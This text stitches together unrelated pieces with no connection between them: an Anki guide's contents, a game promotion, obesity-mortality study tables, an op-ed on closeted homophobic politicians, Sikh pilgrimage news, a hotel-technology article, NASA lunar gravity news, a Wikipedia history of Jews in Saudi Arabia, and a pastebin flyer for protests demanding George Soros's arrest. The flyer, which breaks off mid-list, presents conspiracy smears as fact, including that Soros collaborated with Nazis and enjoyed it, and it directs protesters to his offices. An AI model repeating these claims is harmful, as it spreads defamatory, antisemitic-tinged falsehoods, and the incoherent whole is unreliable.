Introduction The What and Why of Anki Installation & Configuration Creating Your First Deck Anatomy of a Collection A Day in the Life of a Deck The 20 Rules Getting to Know the Deck List Everything You Need to Know About Creating Notes Cards: Tweaking Layout and Style Using Card Templates Studying 101 Advanced Studying and Retention Getting Familiar with the Card Browser Enhancing Notes with Images, Sounds and Other Media Math, Equations, and Scientific Markup Using LaTeX Sharing Decks Creating Notes in Bulk Syncing with AnkiWeb The Secret to Speed: Keyboard Shortcuts Beware these Common Beginner Problems A Collection of Other Possible Uses for Anki Expanding Anki with Add-ons Creating Multiple User Profiles A Quick Overview of Anki’s Settings and Preferences Keeping it All Clean and Tidy Conclusion Acknowledgements Additional Resources Click here to download Anki Essentials
“Throughout the whole month we’re running a series of WildStar’s most lucrative bonus events on a weekly rotation, offering you out-of-this-world benefits from four different events back-to-back,” Carbine says. “But that’s not all! With Starfall there will also be a unique reward pack delivered to your Account Inventory just for logging in each week! Make sure you transmat to Nexus every week in June to claim your rewards and take full advantage of the bonus events.”
1 No. % or mean Age at survey, years 64.09 Education Less than high school 2,461 28.35 High school or equiv. 1,395 29.02 More than high school 1,684 42.63 Race/ethnicity Hispanic 1,371 8.54 Non-Hispanic white 2,944 77.81 Non-Hispanic black 1,079 9.25 Non-Hispanic other 146 4.41 Obesity status at survey Normal 1,542 29.70 Overweight 2,171 38.13 Obese class I 1,152 20.00 Obese class II 675 12.18 Obesity status at maximum Normal 768 17.09 Overweight 1,991 36.36 Obese class I 1,649 27.44 Obese class II 1,132 19.11 Obesity status: maximum-survey Normal - normal 768 17.09 Over - normal 633 10.44 Obese 1 - normal 116 1.80 Obese 2 - normal 25 0.36 Over - over 1,358 25.92 Obese 1 - over 702 10.62 Obese 2 - over 111 1.59 Obese 1 - obese 1 831 15.02 Obese 2 - obese 1 321 4.98 Obese 2 - obese 2 675 12.18 Deceased 903 11.92 Total 5,540 Descriptive statistics of the study sample, consisting of US adults ages 50-84 who never smoked, are presented in Table. Mean age at survey was slightly over 64 years. At the time of the survey, 20% and 12% of adults were in the obese class 1 and obese class 2 categories, respectively. When obesity status was assessed using maximum BMI, the percent obese class 1 and obese class 2 climbed to 27% and 19%.
Table 1 also shows the population distribution across 10 categories defined using information on BMI at maximum and at time of survey. The majority of individuals (70%) were at their maximum BMI at the time of survey; 17% of individuals were in the normal BMI category both at time of survey and at their maximum BMI, and 26%, 15%, and 12% were overweight, obese class 1, and obese class 2 at both values. The remaining 30% of the population lost weight between their BMI at maximum and time of survey. The majority of individuals in this subpopulation transited between the overweight and normal (10%) or obese class 1 and overweight categories (11%). A small proportion of the population experienced more significant weight loss, with about 2% of individuals going from obese class 2 to normal or overweight and another 2% going from obese class 1 to the normal category.
2 BMI, time of survey BMI, maximum BMI category (kg/m2) Hazard ratio 95% CI Hazard ratio 95% CI Normal 1.00 1.00 Overweight 0.98 (0.77-1.24) 1.28 (0.89-1.84) Obese class 1 1.18 (0.91-1.54) 1.67 ** (1.15-2.40) Obese class 2 1.31 (0.95-1.81) 2.15 *** (1.47-3.14) Cox proportional hazards models predicting mortality for each of the two categorical measures of BMI are presented in Table. The results show a much stronger relationship using maximum values. In the specification using BMI at time of survey, the hazard ratios for obese class 1 and obese class 2 were only moderately associated with mortality and were not significant (obese class 1: 1.18 [95% confidence interval (CI), 0.91-1.54); obese class 2: 1.31 [95% CI, 0.95-1.81]). However, in the model using maximum BMI, both categories of obesity were strongly and significantly related to mortality (obese class 1: 1.67 [95% CI, 1.15-2.40]; obese class 2: 2.15 [95% CI, 1.47-3.14]).
Kaplan Meier survival curves by category of BMI also reveal more substantial differences in survival across BMI categories using maximum values. A notable difference between the two sets of results is the improved survival of individuals in the normal BMI category when maximum values are used.
3 3 BMI, maximum BMI, time of survey Normal Overweight Obese class 1 Obese class 2 Pooled across BMI, maximum Normal MR 7.17 (4.58-9.76) MR 14.18 (8.00-20.37) MR 16.53 (10.21-22.85) MR 66.56 (17.41-115.70) MR 10.41 (7.92-12.91) HR 1.00 HR 1.69 (1.12-2.56) HR 2.69 (1.67-4.33) HR 4.97 (2.01-12.27) HR 1.00 Overweight MR 7.84 (6.06-9.61) MR 15.22 (10.81-19.64) MR 22.23 (12.48-31.99) MR 10.37 (8.48-12.25) HR 1.10 (0.76-1.60) HR 1.76 (1.16-2.66) HR 3.06 (1.72-5.44) HR 0.98 (0.77-1.24) Obese class 1 MR 12.55 (8.12-16.98) MR 17.59 (12.19-22.99) MR 13.83 (10.00-17.65) HR 1.48 (0.98-2.24) HR 2.28 (1.54-3.36) HR 1.18 (0.91-1.54) Obese class 2 MR 14.70 (11.00-18.40) MR 14.70 (11.00-18.40) HR 1.85 (1.18-2.89) HR 1.31 (0.95-1.81) Pooled across MR 7.17 (4.58-9.76) MR 9.61 (7.51-11.70) MR 13.87 (10.64-17.10) MR 16.92 (13.70-20.13) BMI, time of survey HR 1.00 HR 1.28 (0.89-1.84) HR 1.67 (1.15-2.40) HR 2.15 (1.47-3.14) Tableagain shows the hazard ratios for BMI at maximum and at time of survey (these results appear in the final row and column of the table). However, Tablehas two additional elements. First, it includes age-standardized mortality rates (expressed as deaths per 1,000 person-years) associated with categories of BMI at maximum and at time of survey. Second, it shows age-standardized mortality rates and hazard ratios for each combination of BMI at maximum and time of survey. This information is arrayed in a matrix with the rows identifying categories of BMI at time of survey and columns identifying BMI at maximum. Cells below the diagonal are empty because BMI at time of survey is always equal to or less than BMI at maximum.
The lowest mortality rates are generally along the diagonal of the matrix corresponding to persons with stable or increasing weight. Those with the lowest mortality rates were individuals of normal weight at their maximum and survey values (7.17 [95% CI, 4.58-9.76]) (measured by deaths per 1,000 person-years), followed by individuals who were overweight (7.84 [95% CI, 6.06-9.61]) or obese class 1 (12.55 [95% CI, 8.12-16.98]) at both their maximum and survey values. Mortality rates were consistently higher in subgroups above the diagonal of the matrix—individuals who lost weight between their BMI at maximum and time of survey. The population subgroups with the highest mortality rates were those that exhibited the most weight loss, including those that went from obese class 2 to normal and overweight and individuals that went from obese class 1 to normal weight. Although the mortality rates were very large in the groups that lost the most weight, the proportion of the population in these groups was small. Only about 2% of individuals transited from obese class 2 to normal or overweight between measurements (Table 1).
3 2 Tablealso shows that the mortality rate for normal weight individuals was higher when the category is constructed using BMI at time of survey compared to BMI at maximum (10.41 [95% CI, 7.92-12.91] versus 7.17 [95% CI, 4.58-9.76]). This is consistent with findings from Figureof improved survival among those in the normal category when using BMI at maximum versus BMI at time of survey.
These tawdry tales of deception and deceit are tailor-made for the tabloids. They provide vindication for the LGBT community and punish villains who deserve their fate. However, it is time to look beyond the headlines and have the psychiatric community examine the heads of closet cases that inflict enormous damage on their own people. These disgusting betrayals are much greater than hypocrisy. They represent full-fledged pathology that has devastating consequences for the LGBT community.
To protect their "dirty" secret, these scoundrels are inciting persecution and passing discriminatory laws that lead to many forms of suicide: career, social, financial, emotional, spiritual, and actual. Gay couples with limited rights must pay higher taxes and hire expensive lawyers to draw up contracts. These couples must also endure the emotionally devastating prospect of not having hospital visitation rights when emergencies strike. Careers are irreversibly harmed when homosexuals hit glass ceilings or they are fired in states that offer no legal protections. And, we lose young people every day who hear homophobic rhetoric coming from closeted politicians or those influenced by them.
Enough is enough.
Society needs to stop being squeamish and treating these vulgar events as personal tragedies or sordid anomalies. Such phenomenon are neither episodic nor mere coincidence, but part of a pervasive pattern that strongly suggests that the most rabid homophobes are usually gay. Indeed, solid research backs up this hypothesis: In 1986, a University of Georgia study by Dr. Henry Adams proved that men who are most outspokenly anti-gay were the ones most likely to be turned on by gay porn.
Given the research and empirical evidence, activist and sex columnist Dan Savage is on the money when he asks: "Have we reached a tipping point yet? Shouldn't homophobic politicians and anti-gay bullies be presumed to be gay until they get caught up in a straight sex scandal?"
My opinion is not mere speculation, but comes from my own behavior while living in the closet. During my freshman year in high school, I confronted a fellow student in my debate class with an anti-gay epithet. He looked me in the eyes and presciently replied, "Those who call other people fags are usually the real homosexuals."
A similar situation happened in Puerto Rico when Sen. Arango once gay-baited a political opponent and even used a rubber duck to convey that this man was gay. (Apparently, the word for duck is an anti-gay slur in Puerto Rico) The difference was that I was 13 and trying to grapple with my sexual orientation and Arango never grew up and progressed to passing anti-gay laws.
The teenage homophobia that I employed took two distinct forms. The first was deflecting suspicion by laughing at anti-gay jokes. The second was actually telling the jokes to gauge my social group's reaction, hoping I could find someone who was also a closeted homosexual. The ideal situation for such individuals is to find fellow closet cases that create safe conditions to maintain the heterosexual façade while enjoying the sexual benefits of someone who is open and honest about their sexual orientation.
A kite usually has no ground speed because a kite is held on the end of a string. But the kite still has an airspeed that is equal to the wind speed. You can fly a kite only with the wind at your back. Activities:
Guided Tours Into the Wind:
Navigation ..
Evacuee Trust Property Board (ETPB) Chairman Siddiqul Farooq welcomed the Sikh pilgrims at Wagah. He was accompanied by Pakistan Sikh Gurdwara Parbandhak Committee Pardhan Sardar Tara Singh, Sardar Bishon Singh, Additional Secretary Shrines Tariq Khan Wazir and other ETPB officials.
Farooq said that arrangements for the celebrations have been finalised by the board and assured that ETPB will provide foolproof security, transport, accommodation and other facilities to the visiting pilgrims.
Siddique ul Farooq receives Sikh pilgrims at Wagah Railway Station. — APP
Speaking on the occasion, group leader Sardar Gurmeet Singh said Sikh pilgrims have come to Pakistan with the message of love, peace, friendship and harmony.
“Pakistan is the land of Sikh Gurus and Sikhs love this land. We are always welcomed with love and it is a true example of Sikh-Muslim friendship,” he said.
Also read: Gurdawara Panja Sahib — a symbol of peace
Sikh devotees return the welcome gesture on their arrival at Wagah border. — APP
Earlier in the day, the Pakistan High Commission in Delhi had said it issued visas to over 2,600 Indian Sikhs who planned to make a pilgrimage to Gurdwara Punja Sahib in Hassanabdal, read a Foreign Office statement.
The visas were issued "in line with the Pakistan government's efforts to promote religious tourism and people-to-people interactions," the statement read.
Every year, devotees from all over the world gather at Gurdwara Punja Sahib in Hassanabdal to celebrate Baba Guru Nanak's birth anniversary. The celebrations last for more than a week, during which sacred rituals are performed at the Gurdwara and sweets and langar are offered, irrespective of religious orientation.
Sikh devotees are showered with rose petals upon their arrival at Wagah border. — APP
Soon after their arrival, the pilgrims left for the Janum Asthan of Baba Guru Nanak at Nankana Sahib.
The birth anniversary celebrations of Baba Guru Nanak, the founder of Sikhism, commenced from November 2.
The main function of the festival will be held in Nankana Sahib on November 4, where the pilgrims will perform sacred rituals. After that, the devotees will leave for Punja Sahib, Hassanabdal. They will return to Lahore on November 9.
The machines may soon be taking over the reception desk.
In July, the Henn-na Hotel will open in the city of Sasebo, Japan, and its owners hope this will be a new frontier for the hospitality industry.
It will be staffed by 10 life-like robots, with only two flesh-and-blood staff members on the premises.
The robots will greet guests, carry bags, and even clean rooms once a guest leaves. Complete with an eerily realistic female face, they are designed to speak several languages and respond to guest enquiries in the 72-room hotel.
The aim is to create an all-round hi-tech experience, including facial recognition software to open doors.
While not every receptionist or bellboy is under immediate threat from an imminent robot uprising, the wider hotel business is embracing new technologies.
Image copyright Henn-na Hotel Image caption The Uncanny Valley principle: the more life-like a robot becomes the more uncomfortable it makes us
Image copyright Henn-na Hotel Image caption The hotel is being built in Huis Ten Bosch, a theme park designed to look like a Dutch town
Check it out
GTRIIP, a start-up founded in Singapore that has opened offices in the US, has developed a documentless check-in service using the iPhone's biometric features.
Guests can securely check in at participating hotel chains using Apple's Touch ID fingerprint recognition technology to access the booking details saved on their device.
At the hotel, receptionists have their own "kiosk app" for checking in guests.
Co-founders Maxim Thaw Tint and Stanley Myo Lwin, both frequent travellers, were frustrated with time-consuming hotel processes and the need to carry multiple IDs or reservation documents.
"When we researched the existing biometric technologies we found that the Apple Touch ID is out there since 2013 together with the iPhone 5S," says Mr Thaw Tint.
"We decided to leverage on this because we don't want to reinvent the wheel."
GTRIIP is of particular interest to business travellers, says Mr Thaw Tint, who will often choose the same hotel group, due to their loyalty program.
"[This] is good for pre-verified Touch ID," he says.
The start-up is already working with hotels in the US, Singapore, Sri Lanka, India, and Myanmar.
Image copyright GTRIIP Image caption The growth in smartphones equipped with biometric technology came at just the right time for GTRIIP's founders
Locked in
US chain Starwood Hotels offers the SPG Keyless app, which lets guests use a smartphone or Apple watch as a door key.
Customers can make reservations using the app, then on the morning of arrival they receive a notification with the details of their room.
"That's your digital room key that allows you to go right to your room and use your mobile device to bypass check-in," says Starwood's Mark Vondrasek.
Mobile brings a new level of convenience, he says. You're more likely to notice losing a smartphone than a key card. If someone does misplace their phone, the lock can be disengaged at reception.
Image copyright Starwood Hotels Image caption The SPG Keyless app replaces the key card with a smartphone or Apple watch
"With dual encryption both at password-at-the-phone level as well as at the lock level, we are convinced that Keyless is actually safer from a security standpoint than traditional keys are," Mr Vondrasek explains.
"Our perspective on our guests' mobile device is that it really should be their remote control for their entire stay with us. Why can't they order more towels through their mobile device?"
Eventually guests will be able to book dinner, order drinks, or make housekeeping requests through their smartphone without ever going near reception.
"That's the work we're excited to build on in this space. We started with Keyless because it solved a critical point of check-in but we expect to be deep in mobile investment around a guest's stay over the next few years," he says.
Hilton Worldwide has launched a digital check-in service for its HHonors rewards programme, where guests can choose their own room from a floor plan on the app.
The company is also planning a smartphone key function in the near future.
"Later this year, our guests will be able to use their smartphones to safely and securely unlock their hotel room door and other areas that require secured access, such as the gym or pool," says Geraldine Calpin, senior vice president and global head of digital at Hilton Worldwide.
Image copyright Hilton Hotels Image caption With Hilton's booking app you can make sure you don't end up with the room directly over the bar
Tag it
Other hotels have turned to social media, such as Instagram, to drive further guest engagement.
The 1888 Hotel in Sydney has been called the Instagram Hotel, where popular members of the picture-sharing network can earn a free night's stay by sharing photos with the #1888Hotel hashtag.
Conrad Hotels, a Hilton brand, uses Like2Buy - a shopping platform that lets Instagrammers view and book rooms through the app.
The company says that in the first 30 days they saw several thousand click-throughs to their booking site, along with a spike in followers and brand engagement.
Image copyright Hilton Hotels Image caption Already picturing yourself lounging around this water villa? You could book it directly from Instagram
But with new technology comes new threats.
The Hard Rock Hotel & Casino in Las Vegas was targeted by malware in early May, with hackers stealing seven months' worth of credit card transaction data.
In April, White Lodgings reported a data breach at several of its restaurants, including Marriot and Sheraton locations. This follows a separate data breach in 2013.
In Symantec's Internet Security Threat Report, published in April, hospitality featured in the top 10 industries affected, both by incident and numbers breached.
It has a history of being a soft target says Symantec principal security response manager, Joji Hamada.
"Hotels also collect various personal data such as email addresses, billing addresses, phone numbers, and so on," he says.
He believes the hospitality industry needs to take proactive steps to protect data, just like the retail industry.
The new map, created by the Gravity Recovery and Interior Laboratory (GRAIL) mission, is allowing scientists to learn about the moon's internal structure and composition in unprecedented detail. Data from the two washing machine-sized spacecraft also will provide a better understanding of how Earth and other rocky planets in the solar system formed and evolved.
The gravity field map reveals an abundance of features never before seen in detail, such as tectonic structures, volcanic landforms, basin rings, crater central peaks and numerous simple, bowl-shaped craters. Data also show the moon's gravity field is unlike that of any terrestrial planet in our solar system.
These are the first scientific results from the prime phase of the mission, and they are published in three papers in the journal Science.
"What this map tells us is that more than any other celestial body we know of, the moon wears its gravity field on its sleeve," said GRAIL Principal Investigator Maria Zuber of the Massachusetts Institute of Technology in Cambridge. "When we see a notable change in the gravity field, we can sync up this change with surface topography features such as craters, rilles or mountains."
According to Zuber, the moon's gravity field preserves the record of impact bombardment that characterized all terrestrial planetary bodies and reveals evidence for fracturing of the interior extending to the deep crust and possibly the mantle. This impact record is preserved, and now precisely measured, on the moon.
The probes revealed the bulk density of the moon's highland crust is substantially lower than generally assumed. This low-bulk crustal density agrees well with data obtained during the final Apollo lunar missions in the early 1970s, indicating that local samples returned by astronauts are indicative of global processes.
"With our new crustal bulk density determination, we find that the average thickness of the moon's crust is between 21 and 27 miles (34 and 43 kilometers), which is about 6 to 12 miles (10 to 20 kilometers) thinner than previously thought," said Mark Wieczorek, GRAIL co-investigator at the Institut de Physique du Globe de Paris. "With this crustal thickness, the bulk composition of the moon is similar to that of Earth. This supports models where the moon is derived from Earth materials that were ejected during a giant impact event early in solar system history."
The map was created by the spacecraft transmitting radio signals to define precisely the distance between them as they orbit the moon in formation. As they fly over areas of greater and lesser gravity caused by visible features, such as mountains and craters, and masses hidden beneath the lunar surface, the distance between the two spacecraft will change slightly.
"We used gradients of the gravity field in order to highlight smaller and narrower structures than could be seen in previous datasets," said Jeff Andrews-Hanna, a GRAIL guest scientist with the Colorado School of Mines in Golden. "This data revealed a population of long, linear gravity anomalies, with lengths of hundreds of kilometers, crisscrossing the surface. These linear gravity anomalies indicate the presence of dikes, or long, thin, vertical bodies of solidified magma in the subsurface. The dikes are among the oldest features on the moon, and understanding them will tell us about its early history."
While results from the primary science mission are just beginning to be released, the collection of gravity science by the lunar twins continues. GRAIL's extended mission science phase began Aug. 30 and will conclude Dec. 17. As the end of mission nears, the spacecraft will operate at lower orbital altitudes above the moon.
When launched in September 2011, the probes were named GRAIL A and B. They were renamed Ebb and Flow in January by elementary students in Bozeman, Mont., in a nationwide contest. Ebb and Flow were placed in a near-polar, near-circular orbit at an altitude of approximately 34 miles (55 kilometers) on Dec. 31, 2011, and Jan. 1, 2012, respectively.
NASA's Jet Propulsion Laboratory in Pasadena, Calif., manages the mission for NASA's Science Mission Directorate in Washington. GRAIL is part of the Discovery Program managed at NASA's Marshall Space Flight Center in Huntsville, Ala. Lockheed Martin Space Systems of Denver built the spacecraft.
To view the lunar gravity map, visit http://bit.ly/grailtour . For more information about the mission, visit: http://www.nasa.gov/grail .
JPL is a division of the California Institute of Technology in Pasadena.
News Media Contact
The history of Jews in Saudi Arabia refers to the history of Jews in that part of the Arabian Peninsula that is now Saudi Arabia. It is a history that goes back to Biblical times.
Early history [ edit ]
The first mention of Jews in the areas of modern-day Saudi Arabia dates back, by some accounts, to the time of the First Temple. Immigration to the Arabian Peninsula began in earnest in the 2nd century CE, and by the 6th and 7th centuries there was a considerable Jewish population in Hejaz, mostly in and around Medina, in part because of the embrace of Judaism by such leaders as Dhu Nuwas; who was very aggressive about converting his subjects to Judaism, and who persecuted Christians in his kingdom as a reaction to Christian persecution of Jews there by the local Christians and Abu Karib Asad.[1] According to Al-Masudi the northern part of Hejaz was a dependency of Kingdom of Judah,[2] and according to Butrus al-Bustani the Jews in Hejaz established a sovereign state.[3] The German orientalist Ferdinand Wüstenfeld believed that the Jews established a state in northern Hejaz.[4]
Tribes of Medina [ edit ]
Map showing the region of Hejaz outlined in red
There were three main Jewish tribes in Medina before the rise of Islam in Arabia: the Banu Nadir, the Banu Qainuqa, and the Banu Qurayza. Banu Nadir was hostile to Muhammad's new religion. Other Jewish tribes lived relatively peacefully under Muslim rule.
Other Arabian Jewish tribes [ edit ]
The journey of Benjamin of Tudela [ edit ]
A historical journey to visit far-flung Jewish communities was undertaken by Rabbi Benjamin of Tudela from 1165 to 1173 that crossed and tracked some of the areas that are today in the geographic area of Saudi Arabia. One map of his travels in the areas of present-day Saudi Arabia shows that he stopped at Jewish communities living in Tayma and Khaybar[6] two places that are known to have a longer significant historic Jewish presence in them, the Battle of Khaybar was fought between Muhammad and his followers against the centuries-long established Jewish community of Khaybar in 629. Tudela's trek began as a pilgrimage to the Holy Land.[7] He may have hoped to settle there, but there is controversy about the reasons for his travels. It has been suggested he may have had a commercial motive as well as a religious one. On the other hand, he may have intended to catalogue the Jewish communities on the route to the Holy Land so as to provide a guide to where hospitality may have been found for Jews travelling to the Holy Land.[8] He took the "long road" stopping frequently, meeting people, visiting places, describing occupations and giving a demographic count of Jews in every town and country.
One of the known towns that Benjamin of Tudela reported as having a Jewish community was "El Katif"[9] located in the area of the modern-day city of Hofuf in the northern part of the Arabian Peninsula. Al-Hofuf also Hofuf or Al-Hufuf (Arabic: الهفوف‎) is the major urban center in the huge Al-Ahsa Oasis in Eastern Province, Saudi Arabia. The city has a population of 287,841 (2004 census) and is part of a larger populated oasis area of towns and villages of around 600,000. It is located inland, southwest of Abqaiq and the Dhahran-Dammam-Al-Khobar metropolitan area on the road south to Haradh.
Najran community [ edit ]
There was a small Jewish community, mostly members of Bnei Chorath, lived in one border city from 1934 until 1950. The Yemeni city of Najran was conquered by Saudi forces in 1934, absorbing its Jewish community, which dates to pre-Islamic times.[10] With increased persecution, the Jews of Najran made plans to evacuate. The local governor at the time, Amir Turki ben Mahdi, allowed the 600 Najrani Jews[11] a single day on which to either evacuate or never leave again. Saudi soldiers accompanied them to the Yemeni border. These Jews arrived in Saada,[12] and some 200 continued south to Aden between September and October 1949. The Saudi King Abdulaziz demanded their return, but the Yemeni king, Ahmad bin Yahya refused, because these refugees were Yemenite Jews. After settling in the Hashid Camp (also called Mahane Geula) they were airlifted to Israel as part of the larger Operation Magic Carpet.[13]
According to Yemenite Jewish tradition, the Jews of Najran traced their origin to the Ten Tribes.
Modern era [ edit ]
There has been virtually no Jewish activity in Saudi Arabia since the beginning of the 21st century. Jewish (as well as Christian and other non-Muslim) religious services are prohibited from being held on Saudi Arabian soil.[14] When American military personnel were stationed in Saudi Arabia during the Gulf War, permission for small Christian worship services was eventually granted, but Jewish services were only permitted on US warships.[14] Census data does not identify any Jews as residing within Saudi Arabian territory.[15]
Persons with an Israeli government stamp in their passport or who are openly Jewish are generally not permitted into the Kingdom. In the 1970s, foreigners wishing to work in the kingdom had to sign an affidavit stating that they were not Jewish[16] and official government forms granting foreigners permission to enter or exit the country, do ask for religious affiliation.
During the first Gulf War, American servicemen and women who were Jewish were allowed into the kingdom, but religious services had to be held discreetly on base and alternative "Protestant B" dog tags were created, in the event that a Jewish serviceman or woman was taken prisoner in Iraq.[17]
In late December 2014, the newspaper Al-Watan reported that the Saudi Labor ministry website permits foreign workers of a variety of different faiths, including Judaism, to live and work in Saudi Arabia. A source within the ministry said, in effect, that Israelis were not allowed to enter Saudi Arabia, but Jews of other nationalities would not have the entry ban applied to them.[18] In practice Christians and Jews may hold religious services but only in their homes and may not invite Muslims.
See also [ edit ]
Notes [ edit ]
References [ edit ]
Salibi, Kamal (1985) The Bible Came from Arabia London: Jonathan Cape
London: Jonathan Cape Stillman, Norman. Jews of Arab Lands , Jewish Publications Society, 1979.
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rawdownloadcloneembedreportprint text 11.29 KB Call For Action: Event Name: Nationwide Trump Parade And Protest Calling For The arrest Of George Soros Please use hashtag #ArrestSoros #NationalTrumpParade This document is a work in progress and new locations will constantly be added On November 26, 2016, peaceful protests will be held at locations throughout the United States to protest for the arrest of George Soros. Please make signs calling for his arrrest and bring anything PRO-TRUMP Please help us to buy signs for the nationwide protest. Little donations are appreciated. We want to have professional signs like he ones Soros uses at his planned protests Donate here: https://www.crowdrise.com/need-money-for-cost-of-signs-for-the-arrestsoros-protest/fundraiser/halftheskyswfl Signs will be given out by leaders at the protests! Thousands of Americans will come together at hundreds of peaceful gatherings in cities and towns across the nation, including outside the White House, to protest and call for the arrest of George Soros following the revelation Soros-Funded Orgs are behind violent anti-trump protests across America.WARNING AMERICANS! #PurpleRevolution #TrumpProtests is how #Soros destroyed Ukraine, Syria, Egypt etc. Now it is us! Hillary said it so mild concession speech. One does not really lose. Just goes in different direction. Hired #thugs for #PurpleRevolution. We are Witnessing Their Back-up Plan #purplerevolution! The Riots, Destruction and Attempted Take-over! Clintons are the strings, the liberals are the puppets, soros is the puppet master. About George Soros: Soros is a tactician for the banks and the military industrial complex. He's supported war and made people suffer in too many places in this world. He is a multi-billionaire who despises America and all of our traditions and values. He was born August 12, 1930 in Hungary, as Gyorgy Schwartz. During World War Two he collaborated with the Nazis while 70% of his fellow Jews were killed. When asked about this, in an interview with reporter Steve Kroft, Soros showed no feelings of remorse or guilt and stated that he enjoyed it. He relishes the take down of governments and has started a western spring in America to take down Donald Trump.He is a fanatic who believes in open borders and one world foreign policy.His philanthropy of nearly five Billion dollars funds anything adverse to our traditional American values, such as atheism, drug legalization, gun control, mass immigration, and many others. He recently gave six million dollars to the campaign of Hillary Clinton. Some of his organizations include MoveOn.org, The Apollo Alliance, Media Matters for America, The Tides Foundation, ACLU, Acorn, Project on Death In America, La Raza, and many more. The orgs are also promoting the Anti Trump protests. To add insult to injury, one of Soros’ groups is masquerading as conservative and launched an online advertising campaign in defense of bringing Obama’s Syrian refugees here to the US. The name of this group is The Foundation To Promote Open Society. Watch out for this deceitful site, which leads to a micro-site at AmericaisBetter.org, where you find quotes from conservatives which they have distorted in order to bring their progressive message. The site also quotes “unnamed security experts” who supposedly support the screening process. The battle for the sovereignty of America is now between President-elect Donald Trump and open borders globalist George Soros. Move On.org, a liberal activist group that has exploded all across the nation, is funded by Soros’ Open Society Foundations. It is now well known that Move On.org was responsible for many of the riots and protests at Donald Trump’s campaign rallies,... some of which became violent and dangerous. We will gather on the following dates below in cities across the nation to urge our government to indict and arrest George Soros so that he may be brought to justice for perpetuating violence, terrorism, and illicit drug trade and related violence on American. Local leaders are now being sought to coordinate these protests. See below for the list of locations where protests are scheudled to be held on November 26, 2016. We want him arrested and held responsible for his actions! George Soros video they tried to bury https://twitter.com/jpm05880/status/798283623963250688 Soros/Clinton Color revolution https://twitter.com/realVivaEuropa/status/797824780036689920 Soros orchestrating color revolution against Trump: Analyst http://www.presstv.ir/Detail/2016/11/13/493455/Trump-Soros-US-Clinton-protest-Jones Breaking Evidence: Same people before election are same ones organizing the Trump Protests for Soros DNC https://twitter.com/ChatRevolve/status/797599326604328960 George Soros starter pack https://www.reddit.com/r/The_Donald/comments/53xdu9/george_soros_knowledge_starter_pack/ Top Ten reasons George Soros is dangerous http://humanevents.com/2011/04/02/top-10-reasons-george-soros-is-dangerous/ Soros-Funded Orgs Behind Violent Anti-Trump Protests Across America http://www.thegatewaypundit.com/2016/11/soros-funded-orgs-behind-violent-anti-trump-protests-across-america/ The Clintons and Soros launch purple revolution http://www.zerohedge.com/news/2016-11-11/clintons-and-soros-launch-americas-purple-revolution ARREST GEORGE SOROS Use existing criminal and civil laws to shut down his anti-American juggernaut. http://www.frontpagemag.com/fpm/262364/arrest-george-soros-matthew-vadum Guide to George Soros Network: http://www.discoverthenetworks.org/individualProfile.asp?indid=977 LEAKED LIST SHOWS FERGUSON PROTESTERS PAID BY SOROS FRONT GROUP http://www.infowars.com/leaked-list-shows-ferguson-protesters-paid-by-soros-front-group/ Deport George Soros: https://www.change.org/p/donald-trump-deport-george-soros?recruiter=632082050&utm_source=share_petition&utm_medium=twitter&utm_campaign=share_twitter_responsive Violence Being Arranged for Trump Inauguration: Group Openly Recruiting for "No Peaceful Transition" #disruptJ20 http://www.redflagnews.com/headlines-2016/violence-being-arranged-for-trump-inauguration-group-openly-recruiting-for-no-peaceful-transition-disruptj20?mc_cid=42bec4c65a&mc_eid=2d623cfd7d USA 1. Chicago, Illinois – 10:00 AM 11/26/2016 Location: Daley Plaza Downtown, 50 W Washington St, Chicago, IL 60602 Event: https://www.facebook.com/events/343424982698716/ 2. Atlanta, Georgia – 10:00 AM 11/26/2016 Location: 1000 Robert E. Lee Blvd., Stone Mountain, GA Event: https://www.facebook.com/events/170273646770044/ 3. Wilke, Barr PA – 2:00 PM 11/26/2016 Location: Public Square Event: https://www.facebook.com/events/1181251135301886/ 4. Detroit, Michigan – 2:00 PM 11/26/2016 Location: Hart Plaza, 1 Nelson Mandela Dr, Detroit, MI 48226 Event: https://www.facebook.com/events/942271272584451/ 5. Hollywood, Florida – 9:00 AM 11/26/2016 Location: Young Circle, Hollywood, FL Event: https://www.facebook.com/events/372926123039746/ 6. Houston, Texas – 10:00 AM 11/26/2016 Location: MacGregor Park, Houston, TX Event: https://www.facebook.com/events/535217083354081/ 7. Los Angeles, California – 10:00 AM 11/26/2016 Location: Federal Building West, 11000 Wilshire Blvd. Los Angeles 90024 Event: https://www.facebook.com/events/231370507283546/ 8. New York, NY – 11:00 AM 11/26/2016 Location:New York Civil Liberties Union - NYCLU 125 Broad St, Fl 19th, New York, New York 10004 Event: https://www.facebook.com/events/189307648195389/ 9. Phoenix, Arizona – 10:00 AM 11/26/2016 Location: Cesar Chavez Plaza, 201 W. Washington St, Phoenix, AZ 85003 Event: 10. Little, Rock Arkansas - 10 am 11/26/2016 Location: Aransas State Capitol 5th and Woodlane Sts, Little Rock, Arkansas 72201 11. Peachtree City, Georgia - 11 am 11/26/2016 Location 216 Peachtree Street NE - Outside Marta Station , Atlanta, GA 30303 12. Fort Worth Texas – 9:00 AM 11/26/2016 Location: 420 Main St, Fort Worth, Texas 76102 **************************************************************************** 13.New York, New York 11 am 11/26/2016 Location: 250 W. 55th St New York, NY Office of Soros Fund Management **************************************************************************** 14. Washington DC - 11 AM 11/26/2016 Location: Trump International Hotel 1100 Pennsylvania Ave NW, Washington, DC 20004 Event: https://www.facebook.com/events/1838525149755867/ 15. Miami Florida - 11 am 11/26/2016 Location: Bayfront Park, Miami, Florida Event: https://www.facebook.com/events/1796303357252810/ 16. Washington, DC 11 am 11/26/2016 Location: 1730 Pennsylvania Ave NW #700, Washington, DC 20006 **************************************************************************** 17. New York, New York -11 am 11/26/2016 Location: Open Society Foundation, Office of George Soros 224 W 57th St, New York, NY 10019 **************************************************************************** 18. Baltimore, MD -11 am 11/26/2016 Location: 201 North Charles Street, Suite 1300 Baltimore MD 21201 Open Society Institute–Baltimore, office of George Soros **************************************************************************** 19. Minneapolis, Minnesota 11 am 11/26/2016 Location: 75 Rev Dr Martin Luther King Jr Boulevard., St Paul, MN 55155 20. Worcester, Massachusettes - 11 am 11/26/2016 Location: Worcester Common Park, Central Business District Worcester, MA 01608 21. Taunton, Massachusettes - 11 am 11/26/2016 Location: TBD 22. Pottsville, Pennslyania - 11 am 11/26/2016 Location: Schuylkill County Courthouse, 401 N 2nd St, Pottsville, PA 17901 23. Albany, New York - 11 am 11/26/2016 Location: NY State Capital Building 198 State St, Albany, New York 12207 24. Pittsburgh, Pennsylvania - 11 am 11/26/2016 Location: Market Square, Pittsburgh 210 Forbes Ave, Pittsburgh, Pennsylvania 15222 25. Baton, Rouge, LA - 11 